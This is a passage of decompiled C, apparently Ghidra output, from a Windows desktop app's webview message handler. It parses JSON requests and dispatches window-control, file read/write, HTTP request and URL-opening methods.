  void *pvStack_1a8;
  void *local_1a0;
  undefined8 uStack_198;
  undefined8 local_190;
  void *pvStack_188;
  void *local_180;
  undefined8 uStack_178;
  byte local_168;
  undefined1 local_167;
  undefined1 local_166 [6];
  ulonglong local_160;
  undefined1 *local_158;
  undefined8 local_150;
  size_t local_148;
  short *local_140;
  undefined8 local_138;
  ulonglong local_130;
  void *local_128;
  tagPOINT local_120;
  undefined8 local_118;
  ulonglong uStack_110;
  undefined8 local_108;
  void *pvStack_100;
  void *local_f8;
  undefined8 uStack_f0;
  undefined8 local_e8;
  longlong *plStack_e0;
  longlong *local_d8;
  undefined1 *puStack_d0;
  wchar_t *local_c8;
  byte local_c0;
  undefined4 local_bf;
  undefined2 local_bb;
  undefined1 local_b9;
  void *local_b0;
  byte local_a8;
  undefined1 local_a7 [15];
  undefined1 *local_98;
  undefined1 *local_90 [2];
  void *local_80;
  ushort local_78 [8];
  void *local_68;
  undefined1 *local_60 [4];
  
  local_c8 = (wchar_t *)0x0;
  ppwVar23 = &local_c8;
  iVar7 = (**(code **)(*in_R8 + 0x20))();
  _Src = local_c8;
  if (local_c8 == (wchar_t *)0x0 || iVar7 < 0) {
    return 0;
  }
  pwVar20 = local_c8;
  sVar8 = wcslen(local_c8);
  if (0x7ffffffffffffff5 < sVar8) {
                    /* WARNING: Subroutine does not return */
    FUN_1400049f0(pwVar20,ppwVar23,in_R8,in_R9);
  }
  if (sVar8 < 0xb) {
    local_150 = CONCAT71(local_150._1_7_,(char)sVar8 * '\x02');
    psVar9 = (short *)((longlong)&local_150 + 2);
    if (sVar8 != 0) goto LAB_140005b63;
  }
  else {
    lVar38 = 0xe;
    if ((sVar8 | 3) != 0xb) {
      lVar38 = (sVar8 | 3) + 1;
    }
    psVar9 = (short *)FUN_14001f800(lVar38 * 2,ppwVar23,in_R8,in_R9);
    local_150 = lVar38 + 1;
    local_148 = sVar8;
    local_140 = psVar9;
LAB_140005b63:
    in_R8 = (char **)(sVar8 * 2);
    memmove(psVar9,_Src,(size_t)in_R8);
  }
  psVar9[sVar8] = 0;
  CoTaskMemFree(local_c8);
  if ((local_150 & 1) == 0) {
    if ((byte)local_150 >> 1 != 0) goto LAB_140005bac;
LAB_140005bfc:
    FUN_140002f80(&local_168,(byte *)&local_150);
    local_90[0] = local_158;
    if ((local_168 & 1) == 0) {
      local_90[0] = &local_167;
    }
    local_1c8._0_1_ = 0;
    local_1c8._1_1_ = 0;
    local_1c8._2_2_ = 0;
    uStack_1c0 = 0;
    uStack_1bf = 0;
    uStack_1bb = 0;
    uStack_1ba = 0;
    uStack_1b9 = 0;
    pvStack_1b8 = (void *)0x0;
    local_1b0 = 0;
    pvStack_1a8 = (void *)0x0;
    local_1a0 = (void *)0x0;
    uStack_198 = 0;
    local_190 = 0;
    pvStack_188 = (void *)0x0;
    local_180 = (void *)0x0;
    uStack_178 = 0;
    uVar10 = json_parser((longlong *)local_90,(undefined4 *)&local_1c8,in_R8,(ulonglong)in_R9);
    if (((byte)uVar10 & CONCAT22(local_1c8._2_2_,CONCAT11(local_1c8._1_1_,(byte)local_1c8)) == 4) ==
        1) {
      FUN_140002e30(local_210,(byte *)&pvStack_1b8);
      if ((local_210[0] & 1) == 0) {
        _local_208 = (ulonglong)(local_210[0] >> 1);
        if (_local_208 == 3) goto LAB_140005db0;
LAB_140005ccc:
        uVar10 = _local_208;
        if (_local_208 == 5) {
          ptVar31 = (tagPOINT *)local_20e;
          if ((local_210[0] & 1) != 0) {
            ptVar31 = (tagPOINT *)auStack_204._4_8_;
          }
          if ((short)ptVar31->x == 99) {
            pLVar11 = (LONG *)local_20e;
            if ((local_210[0] & 1) != 0) {
              pLVar11 = (LONG *)auStack_204._4_8_;
            }
            in_R9 = (tagPOINT *)((longlong)pLVar11 + 2);
            if ((short)in_R9->x == 0x6c) {
              in_R9 = (tagPOINT *)(local_20e + 4);
              if ((local_210[0] & 1) != 0) {
                in_R9 = (tagPOINT *)(auStack_204._4_8_ + 4);
              }
              if ((short)in_R9->x == 0x6f) {
                psVar9 = (short *)((longlong)(auStack_204._4_8_ + 4) + 2);
                if ((local_210[0] & 1) == 0) {
                  psVar9 = (short *)local_208;
                }
                if (*psVar9 == 0x73) {
                  ptVar18 = (tagPOINT *)(local_208 + 2);
                  if ((local_210[0] & 1) != 0) {
                    ptVar18 = (tagPOINT *)(auStack_204._4_8_ + 8);
                  }
                  if ((short)ptVar18->x == 0x65) {
                    PostMessageW(DAT_1400c9450,0x10,0,0);
                    goto LAB_140006466;
                  }
                }
              }
            }
          }
          ptVar33 = (tagPOINT *)((longlong)&((tagPOINT *)(auStack_204._4_8_ + 8))->x + 2);
          ptVar18 = ptVar31;
          ptVar14 = (tagPOINT *)auStack_204;
          ptVar21 = (tagPOINT *)auStack_204;
          if ((local_210[0] & 1) != 0) {
            ptVar14 = ptVar33;
            ptVar21 = ptVar33;
          }
        }
        else if (_local_208 == 4) {
          ptVar31 = (tagPOINT *)local_20e;
          if ((local_210[0] & 1) != 0) {
            ptVar31 = (tagPOINT *)auStack_204._4_8_;
          }
          if ((short)ptVar31->x == 100) {
            pLVar11 = (LONG *)local_20e;
            if ((local_210[0] & 1) != 0) {
              pLVar11 = (LONG *)auStack_204._4_8_;
            }
            in_R9 = (tagPOINT *)((longlong)pLVar11 + 2);
            if ((short)in_R9->x == 0x72) {
              in_R9 = (tagPOINT *)(local_20e + 4);
              if ((local_210[0] & 1) != 0) {
                in_R9 = (tagPOINT *)(auStack_204._4_8_ + 4);
              }
              if ((short)in_R9->x == 0x61) {
                psVar9 = (short *)((longlong)(auStack_204._4_8_ + 4) + 2);
                if ((local_210[0] & 1) == 0) {
                  psVar9 = (short *)local_208;
                }
                if (*psVar9 == 0x67) {
                  GetCursorPos(&local_120);
                  ReleaseCapture();
                  SendMessageW(DAT_1400c9450,0xa1,2,
                               (ulonglong)(local_120.y << 0x10 | local_120.x & 0xffffU));
                  goto LAB_140006466;
                }
              }
            }
          }
LAB_140005f17:
          ptVar14 = (tagPOINT *)((longlong)&ptVar31->x + _local_208 * 2);
          ptVar18 = ptVar31;
          uVar10 = _local_208;
          ptVar21 = ptVar14;
        }
        else {
          ptVar31 = (tagPOINT *)auStack_204._4_8_;
          if ((local_210[0] & 1) == 0) {
            ptVar31 = (tagPOINT *)local_20e;
          }
          uVar13 = 7;
          if (_local_208 < 7) {
            uVar13 = _local_208;
          }
          if (_local_208 == 0) goto LAB_140006466;
          ptVar14 = (tagPOINT *)((longlong)&ptVar31->x + (uVar13 & 0xffffffff) * 2);
          ptVar18 = ptVar31;
          ptVar21 = ptVar14;
        }
        do {
          while (ptVar33 = ptVar18, ptVar18 = (tagPOINT *)((longlong)&ptVar33->x + 2),
                (short)ptVar33->x == 0x72) {
            if (ptVar18 == ptVar14) goto LAB_14000612c;
            if ((short)ptVar18->x == 0x65) {
              in_R9 = (tagPOINT *)&ptVar33->y;
              if (in_R9 == ptVar14) goto LAB_14000612c;
              if ((short)*(LONG *)in_R9 == 0x73) {
                in_R9 = (tagPOINT *)((longlong)&ptVar33->y + 2);
                if (in_R9 == ptVar14) goto LAB_14000612c;
                if ((short)in_R9->x == 0x69) {
                  in_R9 = ptVar33 + 1;
                  if (in_R9 == ptVar14) goto LAB_14000612c;
                  if ((short)in_R9->x == 0x7a) {
                    in_R9 = (tagPOINT *)((longlong)&ptVar33[1].x + 2);
                    if (in_R9 == ptVar14) goto LAB_14000612c;
                    if ((short)in_R9->x == 0x65) {
                      ptVar18 = (tagPOINT *)&ptVar33[1].y;
                      if (ptVar18 == ptVar14) goto LAB_14000612c;
                      ptVar18 = (tagPOINT *)((longlong)&ptVar33->x + 2);
                      if ((short)ptVar33[1].y == 0x3a) {
                        ptVar21 = ptVar33;
                      }
                    }
                  }
                }
              }
            }
          }
          ptVar33 = ptVar18;
        } while (ptVar18 != ptVar14);
LAB_14000612c:
        if ((ptVar21 != ptVar14) && (ptVar21 == ptVar31)) {
          local_d8 = (longlong *)0x0;
          puStack_d0 = (undefined1 *)0x0;
          local_e8 = 0;
          plStack_e0 = (longlong *)0x0;
          local_f8 = (void *)0x0;
          uStack_f0 = 0;
          local_108 = 0;
          pvStack_100 = (void *)0x0;
          local_118 = 0;
          uStack_110 = 0;
          local_120.x = 6;
          local_220 = (void *)0x0;
          uStack_218 = 0;
          local_230 = 0;
          pvStack_228 = (void *)0x0;
          local_240 = (void *)0x0;
          uStack_238 = 0;
          tStack_250.x = 0;
          tStack_250.y = 0;
          tStack_248 = (tagPOINT)0x0;
          tStack_260.x = 0;
          tStack_260.y = 0;
          tStack_258.x = 0;
          tStack_258.y = 0;
          local_268.x = 4;
          if (uVar10 < 7) {
                    /* WARNING: Subroutine does not return */
            FUN_140008880(ptVar21,ptVar18,ptVar33,in_R9);
          }
          uVar13 = uVar10 - 7;
          if (0x7ffffffffffffff5 < uVar13) {
                    /* WARNING: Subroutine does not return */
            FUN_1400049f0(ptVar21,ptVar18,ptVar33,in_R9);
          }
          if (uVar13 < 0xb) {
            local_138 = CONCAT71(local_138._1_7_,(char)uVar13 * '\x02');
            pvVar15 = (void *)((longlong)&local_138 + 2);
            if (uVar13 != 0) goto LAB_14000620c;
          }
          else {
            uVar26 = 0xe;
            if ((uVar13 | 3) != 0xb) {
              uVar26 = (uVar13 | 3) + 1;
            }
            pvVar15 = (void *)FUN_14001f800(uVar26 * 2,ptVar18,ptVar33,in_R9);
            local_138 = uVar26 | 1;
            local_130 = uVar13;
            local_128 = pvVar15;
LAB_14000620c:
            ptVar33 = (tagPOINT *)(uVar13 * 2);
            memmove(pvVar15,(void *)((longlong)&ptVar31[1].y + 2),(size_t)ptVar33);
          }
          *(undefined2 *)((longlong)pvVar15 + uVar10 * 2 + -0xe) = 0;
          pbVar25 = (byte *)&local_138;
          FUN_140002f80((byte *)&local_1f8,pbVar25);
          if (((ulonglong)tStack_258 & 1) != 0) {
            FUN_14001f8e0((void *)tStack_248);
          }
          tStack_248 = local_1e8;
          tStack_258 = local_1f8;
          tStack_250 = tStack_1f0;
          local_1f8 = (tagPOINT)((ulonglong)local_1f8 & 0xffffffffffff0000);
          if ((local_138 & 1) != 0) {
            FUN_14001f8e0(local_128);
          }
          if (local_d8 < puStack_d0) {
            *(undefined1 *)local_d8 = 8;
            *(undefined4 *)((longlong)local_d8 + 1) = 0x65676465;
            *(undefined1 *)((longlong)local_d8 + 5) = 0;
            *(tagPOINT *)((longlong)local_d8 + 0x18) = local_268;
            *(tagPOINT *)((longlong)local_d8 + 0x20) = tStack_260;
            *(tagPOINT *)((longlong)local_d8 + 0x38) = tStack_248;
            *(tagPOINT *)((longlong)local_d8 + 0x28) = tStack_258;
            *(tagPOINT *)((longlong)local_d8 + 0x30) = tStack_250;
            tStack_258.x = 0;
            tStack_258.y = 0;
            tStack_250.x = 0;
            tStack_250.y = 0;
            tStack_248.x = 0;
            tStack_248.y = 0;
            *(void **)((longlong)local_d8 + 0x40) = local_240;
            *(undefined8 *)((longlong)local_d8 + 0x48) = uStack_238;
            *(undefined8 *)((longlong)local_d8 + 0x50) = local_230;
            local_240 = (void *)0x0;
            uStack_238 = 0;
            local_230 = 0;
            *(void **)((longlong)local_d8 + 0x58) = pvStack_228;
            *(void **)((longlong)local_d8 + 0x60) = local_220;
            *(undefined8 *)((longlong)local_d8 + 0x68) = uStack_218;
            pvStack_228 = (void *)0x0;
            local_220 = (void *)0x0;
            uStack_218 = 0;
            local_d8 = (longlong *)((longlong)local_d8 + 0x70);
          }
          else {
            pbVar25 = &DAT_14009ba01;
            ptVar33 = &local_268;
            local_d8 = FUN_1400088a0((longlong *)&plStack_e0,"edge",(longlong *)ptVar33);
          }
          edge_handler((longlong *)&local_120,(longlong *)pbVar25,ptVar33,in_R9);
          pvVar6 = pvStack_228;
          pvVar15 = local_220;
          if (pvStack_228 != (void *)0x0) {
            for (; pvVar6 != pvVar15; pvVar15 = (void *)((longlong)pvVar15 + -0x70)) {
              FUN_140007cb0((longlong)pvVar15 + -0x58);
              if ((*(byte *)((longlong)pvVar15 + -0x70) & 1) != 0) {
                FUN_14001f8e0(*(void **)((longlong)pvVar15 + -0x60));
              }
            }
            local_220 = pvVar6;
            FUN_14001f8e0(pvStack_228);
          }
          if (local_240 != (void *)0x0) {
            FUN_140008de0((longlong)&local_240,(longlong)local_240);
            FUN_14001f8e0(local_240);
          }
          if (((ulonglong)tStack_258 & 1) != 0) {
            FUN_14001f8e0((void *)tStack_248);
          }
          plVar24 = plStack_e0;
          plVar12 = local_d8;
          if (plStack_e0 != (longlong *)0x0) {
            for (; plVar24 != plVar12; plVar12 = plVar12 + -0xe) {
              FUN_140007cb0((longlong)(plVar12 + -0xb));
              if ((*(byte *)(plVar12 + -0xe) & 1) != 0) {
                FUN_14001f8e0((void *)plVar12[-0xc]);
              }
            }
            local_d8 = plVar24;
            FUN_14001f8e0(plStack_e0);
          }
          if (local_f8 != (void *)0x0) {
            FUN_140008de0((longlong)&local_f8,(longlong)local_f8);
            FUN_14001f8e0(local_f8);
          }
          if ((uStack_110 & 1) != 0) {
            FUN_14001f8e0(pvStack_100);
          }
        }
      }
      else {
        if (_local_208 != 3) goto LAB_140005ccc;
LAB_140005db0:
        ptVar31 = (tagPOINT *)local_20e;
        if ((local_210[0] & 1) != 0) {
          ptVar31 = (tagPOINT *)auStack_204._4_8_;
        }
        if ((short)ptVar31->x != 0x6d) goto LAB_140005f17;
        pLVar11 = (LONG *)local_20e;
        if ((local_210[0] & 1) != 0) {
          pLVar11 = (LONG *)auStack_204._4_8_;
        }
        if (*(short *)((longlong)pLVar11 + 2) != 0x69) goto LAB_140005f17;
        pLVar11 = (LONG *)(local_20e + 4);
        if ((local_210[0] & 1) != 0) {
          pLVar11 = (LONG *)(auStack_204._4_8_ + 4);
        }
        if ((short)*pLVar11 != 0x6e) goto LAB_140005f17;
        ShowWindow(DAT_1400c9450,6);
      }
LAB_140006466:
      if ((local_210[0] & 1) != 0) {
        FUN_14001f8e0((void *)auStack_204._4_8_);
      }
    }
    pvVar6 = pvStack_188;
    pvVar15 = local_180;
    if (pvStack_188 != (void *)0x0) {
      for (; pvVar6 != pvVar15; pvVar15 = (void *)((longlong)pvVar15 + -0x70)) {
        FUN_140007cb0((longlong)pvVar15 + -0x58);
        if ((*(byte *)((longlong)pvVar15 + -0x70) & 1) != 0) {
          FUN_14001f8e0(*(void **)((longlong)pvVar15 + -0x60));
        }
      }
      local_180 = pvVar6;
      FUN_14001f8e0(pvStack_188);
    }
    if (local_1a0 != (void *)0x0) {
      FUN_140008de0((longlong)&local_1a0,(longlong)local_1a0);
      FUN_14001f8e0(local_1a0);
    }
    local_98 = local_158;
    local_a8 = local_168;
    if (((ulonglong)pvStack_1b8 & 1) != 0) {
      FUN_14001f8e0(pvStack_1a8);
      local_98 = local_158;
      local_a8 = local_168;
    }
    goto joined_r0x0001400069ee;
  }
  if (local_148 == 0) goto LAB_140005bfc;
LAB_140005bac:
  if ((local_150 & 1) == 0) {
    if (local_150._2_2_ != 0x22) goto LAB_140005bbe;
    goto LAB_140005bfc;
  }
  if (*local_140 == 0x22) goto LAB_140005bfc;
LAB_140005bbe:
  FUN_140002f80(&local_a8,(byte *)&local_150);
  local_60[0] = local_98;
  if ((local_a8 & 1) == 0) {
    local_60[0] = local_a7;
  }
  local_120.x = 0;
  local_118 = 0;
  uStack_110 = 0;
  local_108 = 0;
  pvStack_100 = (void *)0x0;
  local_f8 = (void *)0x0;
  uStack_f0 = 0;
  local_e8 = 0;
  plStack_e0 = (longlong *)0x0;
  local_d8 = (longlong *)0x0;
  puStack_d0 = (undefined1 *)0x0;
  uVar10 = json_parser((longlong *)local_60,&local_120.x,in_R8,(ulonglong)in_R9);
  if (((byte)uVar10 & local_120.x == 6U) != 0) {
    if (plStack_e0 != local_d8) {
      plVar12 = plStack_e0 + 3;
      do {
        bVar1 = *(byte *)(plVar12 + -3);
        if ((bVar1 & 1) == 0) {
          if (bVar1 >> 1 == 2) goto LAB_140005f0c;
        }
        else if (plVar12[-2] == 2) {
LAB_140005f0c:
          if ((bVar1 & 1) == 0) {
            psVar9 = (short *)((longlong)plVar12 + -0x17);
          }
          else {
            psVar9 = (short *)plVar12[-1];
          }
          if (*psVar9 == 0x6469) goto LAB_140005f22;
        }
        plVar24 = plVar12 + 0xb;
        plVar12 = plVar12 + 0xe;
      } while (plVar24 != local_d8);
    }
    plVar12 = (longlong *)0x0;
LAB_140005f22:
    local_268.y._3_1_ = local_268.y._3_1_;
    local_268._0_7_ = 0x646f6874656d0c;
    if (plStack_e0 != local_d8) {
      plVar24 = plStack_e0 + 3;
      do {
        bVar1 = *(byte *)(plVar24 + -3);
        if ((bVar1 & 1) == 0) {
          if (bVar1 >> 1 == 6) goto LAB_140005fbc;
        }
        else if (plVar24[-2] == 6) {
LAB_140005fbc:
          if ((bVar1 & 1) == 0) {
            puVar29 = (uint *)((longlong)plVar24 + -0x17);
          }
          else {
            puVar29 = (uint *)plVar24[-1];
          }
          uVar10 = (ulonglong)(*puVar29 ^ 0x6874656d);
          if ((short)puVar29[1] == 0x646f && (*puVar29 ^ 0x6874656d) == 0) {
            if (plVar12 != (longlong *)0x0) {
              uVar13 = 0;
              if ((int)*plVar12 == 3) {
                uVar13 = (longlong)(double)plVar12[1];
              }
              local_78[0] = 0;
              puVar34 = local_78;
              FUN_140007d10((longlong *)&local_1e0,(int *)plVar24,(byte *)puVar34,uVar10);
              local_c0 = 0xc;
              local_bf = 0x61726170;
              local_bb = 0x736d;
              local_b9 = 0;
              if ((local_120.x != 6) || (plStack_e0 == local_d8)) goto LAB_140006607;
              plVar12 = plStack_e0 + 3;
              goto LAB_1400065e3;
            }
            break;
          }
        }
        plVar32 = plVar24 + 0xb;
        plVar24 = plVar24 + 0xe;
      } while (plVar32 != local_d8);
    }
  }
  goto LAB_140006950;
LAB_1400065e3:
  do {
    bVar1 = *(byte *)(plVar12 + -3);
    if ((bVar1 & 1) == 0) {
      uVar26 = (ulonglong)(bVar1 >> 1);
    }
    else {
      uVar26 = plVar12[-2];
    }
    if (uVar26 == 6) {
      if ((bVar1 & 1) == 0) {
        piVar22 = (int *)((longlong)plVar12 + -0x17);
      }
      else {
        piVar22 = (int *)plVar12[-1];
      }
      if ((short)piVar22[1] == 0x736d && *piVar22 == 0x61726170) goto LAB_140006609;
    }
    plVar24 = plVar12 + 0xb;
    plVar12 = plVar12 + 0xe;
  } while (plVar24 != local_d8);
LAB_140006607:
  plVar12 = (longlong *)0x0;
LAB_140006609:
  if ((local_1e0 & 1) == 0) {
    local_1df._7_8_ = ZEXT18(local_1e0 >> 1);
  }
  switch(local_1df._7_8_) {
  case 7:
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    if (*(int *)((longlong)puVar17 + 3) == 0x6e696d2e && (int)*puVar17 == 0x2e6e6977) {
      ShowWindow(DAT_1400c9450,6);
LAB_1400068d9:
      local_268._0_6_ = 0x6575727408;
      local_1c8._0_1_ = 0;
      local_1c8._1_1_ = 0;
      json_response_builder(uVar13,'\x01',(byte *)&local_268,(byte *)&local_1c8);
      goto LAB_14000690c;
    }
    break;
  case 8:
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    if (*puVar17 == 0x676172642e6e6977) {
      GetCursorPos(&local_268);
      ReleaseCapture();
      SendMessageW(DAT_1400c9450,0xa1,2,(ulonglong)(local_268.y << 0x10 | (uint)(ushort)local_268.x)
                  );
      goto LAB_1400068d9;
    }
    break;
  case 9:
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    if ((char)puVar17[1] == 'e' && *puVar17 == 0x736f6c632e6e6977) {
      PostMessageW(DAT_1400c9450,0x10,0,0);
      goto LAB_1400068d9;
    }
    break;
  case 10:
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    if ((short)puVar17[1] == 0x657a && *puVar17 == 0x697365722e6e6977) {
      edge_handler(plVar12,(longlong *)&switchD_140006642::switchdataD_14009f458,puVar34,uVar10);
      goto LAB_1400068d9;
    }
    break;
  case 0xb:
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    if (*(longlong *)((longlong)puVar17 + 3) == 0x7478655464616572 && *puVar17 == 0x54646165722e7366
       ) {
      file_reader(uVar13,param_2,param_3,param_4);
      goto LAB_14000691d;
    }
    break;
  case 0xc:
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    uVar10 = *puVar17 ^ 0x7165722e70747468;
    puVar34 = (ushort *)((ulonglong)(uint)puVar17[1] ^ 0x74736575 | uVar10);
    if (puVar34 == (ushort *)0x0) {
      if (plVar12 == (longlong *)0x0) {
        local_268 = (tagPOINT)((ulonglong)local_268 & 0xffffffffffff0000);
        local_1c8._0_1_ = 0x1e;
        local_1c8._1_1_ = 0x70;
        local_1c8._2_2_ = 0x7261;
        local_1c8._4_2_ = 0x6d61;
        local_1c8._6_2_ = 0x2073;
        uStack_1c0 = 0x72;
        uStack_1bf = 0x69757165;
        uStack_1bb = 0x72;
        uStack_1ba = 0x65;
        uStack_1b9 = 100;
        pvStack_1b8 = (void *)((ulonglong)pvStack_1b8 & 0xffffffffffffff00);
        json_response_builder(uVar13,'\0',(byte *)&local_268,(byte *)&local_1c8);
      }
      else {
        local_268.x = 0x6c727506;
        if ((int)*plVar12 == 6) {
          if ((int *)plVar12[8] != (int *)plVar12[9]) {
            piVar22 = (int *)plVar12[8] + 6;
            do {
              bVar1 = *(byte *)(piVar22 + -6);
              if ((bVar1 & 1) == 0) {
                uVar26 = (ulonglong)(bVar1 >> 1);
              }
              else {
                uVar26 = *(ulonglong *)(piVar22 + -4);
              }
              if (uVar26 == 3) {
                if ((bVar1 & 1) == 0) {
                  psVar9 = (short *)((longlong)piVar22 + -0x17);
                }
                else {
                  psVar9 = *(short **)(piVar22 + -2);
                }
                if ((char)psVar9[1] == 'l' && *psVar9 == 0x7275) {
                  local_1c8._0_1_ = 0;
                  local_1c8._1_1_ = 0;
                  pbVar25 = (byte *)&local_1c8;
                  piVar27 = piVar22;
                  FUN_140007d10((longlong *)&local_268,piVar22,pbVar25,uVar10);
                  tVar36 = tStack_260;
                  tVar30 = (tagPOINT)((ulonglong)local_268 >> 1 & 0x7f);
                  if (((ulonglong)local_268 & 1) != 0) {
                    FUN_14001f8e0((void *)tStack_258);
                    tVar30 = tVar36;
                  }
                  if (((byte)local_1c8 & 1) != 0) {
                    FUN_14001f8e0(pvStack_1b8);
                  }
                  if (tVar30 != (tagPOINT)0x0) {
                    puVar17 = (ulonglong *)FUN_14001f800(0x68,piVar27,pbVar25,uVar10);
                    *puVar17 = 0;
                    puVar17[1] = 0;
                    puVar17[10] = 0;
                    puVar17[0xb] = 0;
                    puVar17[8] = 0;
                    puVar17[9] = 0;
                    puVar17[6] = 0;
                    puVar17[7] = 0;
                    puVar17[4] = 0;
                    puVar17[5] = 0;
                    puVar17[2] = 0;
                    puVar17[3] = 0;
                    puVar17[0xc] = 0;
                    *puVar17 = uVar13;
                    local_1f8 = (tagPOINT)((ulonglong)local_1f8 & 0xffffffffffff0000);
                    FUN_140007d10(&local_1c8,piVar22,(byte *)&local_1f8,uVar10);
                    FUN_140002e30((byte *)&local_268,(byte *)&local_1c8);
                    ptVar31 = (tagPOINT *)(puVar17 + 1);
                    if ((ptVar31->x & 1) != 0) {
                      FUN_14001f8e0((void *)puVar17[3]);
                    }
                    *(tagPOINT *)(puVar17 + 3) = tStack_258;
                    *ptVar31 = local_268;
                    *(tagPOINT *)(puVar17 + 2) = tStack_260;
                    LVar4 = local_268.y;
                    local_268.x._0_2_ = (ushort)local_268.x & 0xff00;
                    local_268.x = (LONG)(ushort)local_268.x;
                    local_268.y = LVar4;
                    if (((byte)local_1c8 & 1) != 0) {
                      FUN_14001f8e0(pvStack_1b8);
                    }
                    if (((ulonglong)local_1f8 & 1) != 0) {
                      FUN_14001f8e0((void *)local_1e8);
                    }
                    local_268._0_7_ = 0x646f6874656d0c;
                    iVar7 = (int)*plVar12;
                    if (iVar7 != 6) goto LAB_140006e00;
                    if ((int *)plVar12[8] == (int *)plVar12[9]) goto LAB_140006e00;
                    piVar22 = (int *)plVar12[8] + 6;
                    goto LAB_140006d45;
                  }
                  break;
                }
              }
              piVar27 = piVar22 + 0x16;
              piVar22 = piVar22 + 0x1c;
            } while (piVar27 != (int *)plVar12[9]);
          }
        }
        local_268 = (tagPOINT)((ulonglong)local_268 & 0xffffffffffff0000);
        local_1c8._0_1_ = 0x18;
        local_1c8._1_1_ = 0x75;
        local_1c8._2_2_ = 0x6c72;
        local_1c8._4_2_ = 0x7220;
        local_1c8._6_2_ = 0x7165;
        uStack_1c0 = 0x75;
        uStack_1bf = 0x64657269;
        uStack_1bb = 0;
        json_response_builder(uVar13,'\0',(byte *)&local_268,(byte *)&local_1c8);
      }
      goto LAB_14000690c;
    }
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    if ((int)puVar17[1] == 0x74786554 && *puVar17 == 0x65746972772e7366) {
      file_writer(uVar13,param_2,param_3,param_4);
      goto LAB_14000691d;
    }
  }
  uVar16 = FUN_140008c00(&local_1e0,"shell.open",puVar34,uVar10);
  if ((char)uVar16 == '\0') {
    FUN_140004fa0((longlong *)&local_268,"",puVar34,uVar10);
    FUN_140012ef0(&local_1c8,"unknown method: ",&local_1e0,uVar10);
    json_response_builder(uVar13,'\0',(byte *)&local_268,(byte *)&local_1c8);
    if (((byte)local_1c8 & 1) != 0) {
      FUN_14001f8e0(pvStack_1b8);
    }
LAB_14000690c:
    if (((ulonglong)local_268 & 1) != 0) {
      FUN_14001f8e0((void *)tStack_258);
    }
  }
  else {
    url_launcher(uVar13,(int *)plVar12,puVar34,uVar10);
  }
  goto LAB_14000691d;
LAB_140006d45:
  do {
    bVar1 = *(byte *)(piVar22 + -6);
    if ((bVar1 & 1) == 0) {
      uVar10 = (ulonglong)(bVar1 >> 1);
    }
    else {
      uVar10 = *(ulonglong *)(piVar22 + -4);
    }
    if (uVar10 == 6) {
      if ((bVar1 & 1) == 0) {
        puVar29 = (uint *)((longlong)piVar22 + -0x17);
      }
      else {
        puVar29 = *(uint **)(piVar22 + -2);
      }
      if ((short)puVar29[1] == 0x646f && (*puVar29 ^ 0x6874656d) == 0) {
        local_1f8 = (tagPOINT)((ulonglong)local_1f8 & 0xffffffffffff0000);
        FUN_140007d10(&local_1c8,piVar22,(byte *)&local_1f8,(ulonglong)(*puVar29 ^ 0x6874656d));
        FUN_140002e30((byte *)&local_268,(byte *)&local_1c8);
        if ((puVar17[4] & 1) != 0) {
          FUN_14001f8e0((void *)puVar17[6]);
        }
        *(tagPOINT *)(puVar17 + 6) = tStack_258;
        *(tagPOINT *)(puVar17 + 4) = local_268;
        *(tagPOINT *)(puVar17 + 5) = tStack_260;
        LVar4 = local_268.y;
        local_268.x._0_2_ = (ushort)local_268.x & 0xff00;
        local_268.x = (LONG)(ushort)local_268.x;
        local_268.y = LVar4;
        if (((byte)local_1c8 & 1) != 0) {
          FUN_14001f8e0(pvStack_1b8);
        }
        if (((ulonglong)local_1f8 & 1) != 0) {
          FUN_14001f8e0((void *)local_1e8);
        }
        iVar7 = (int)*plVar12;
        break;
      }
    }
    piVar27 = piVar22 + 0x16;
    piVar22 = piVar22 + 0x1c;
  } while (piVar27 != (int *)plVar12[9]);
LAB_140006e00:
  local_268._0_5_ = 0x79646f6208;
  if (iVar7 == 6) {
    puVar19 = (ulonglong *)plVar12[8];
    puVar35 = (ulonglong *)plVar12[9];
    if (puVar19 != puVar35) {
      puVar28 = puVar19 + 5;
      do {
        bVar1 = (byte)puVar28[-5];
        if ((bVar1 & 1) == 0) {
          uVar10 = (ulonglong)(bVar1 >> 1);
        }
        else {
          uVar10 = puVar28[-4];
        }
        if (uVar10 == 4) {
          if ((bVar1 & 1) == 0) {
            piVar22 = (int *)((longlong)puVar28 + -0x27);
          }
          else {
            piVar22 = (int *)puVar28[-3];
          }
          if (*piVar22 == 0x79646f62) {
            if ((int)puVar28[-2] != 4) goto LAB_140006ee2;
            FUN_140010580(puVar17 + 10,puVar28);
            iVar7 = (int)*plVar12;
            break;
          }
        }
        puVar37 = puVar28 + 9;
        puVar28 = puVar28 + 0xe;
      } while (puVar37 != puVar35);
    }
  }
  local_268.x = 0x6165680e;
  local_268.y = 0x73726564;
  if (iVar7 == 6) {
    puVar19 = (ulonglong *)plVar12[8];
    puVar35 = (ulonglong *)plVar12[9];
LAB_140006ee2:
    do {
      local_268.x = 0x6165680e;
      local_268.y = 0x73726564;
      if (puVar19 == puVar35) break;
      bVar1 = (byte)*puVar19;
      if ((bVar1 & 1) == 0) {
        uVar10 = (ulonglong)(bVar1 >> 1);
      }
      else {
        uVar10 = puVar19[1];
      }
      if (uVar10 == 7) {
        if ((bVar1 & 1) == 0) {
          puVar29 = (uint *)((longlong)puVar19 + 1);
        }
        else {
          puVar29 = (uint *)puVar19[2];
        }
        uVar10 = (ulonglong)(*puVar29 ^ 0x64616568);
        if (*(int *)((longlong)puVar29 + 3) == 0x73726564 && (*puVar29 ^ 0x64616568) == 0) {
          if ((int)puVar19[3] == 6) {
            pbVar25 = (byte *)puVar19[0xb];
            pbVar2 = (byte *)puVar19[0xc];
            if (pbVar25 != pbVar2) {
              do {
                FUN_140002e30((byte *)&local_138,pbVar25);
                ptVar18 = (tagPOINT *)FUN_1400111b0(&local_138,L": ");
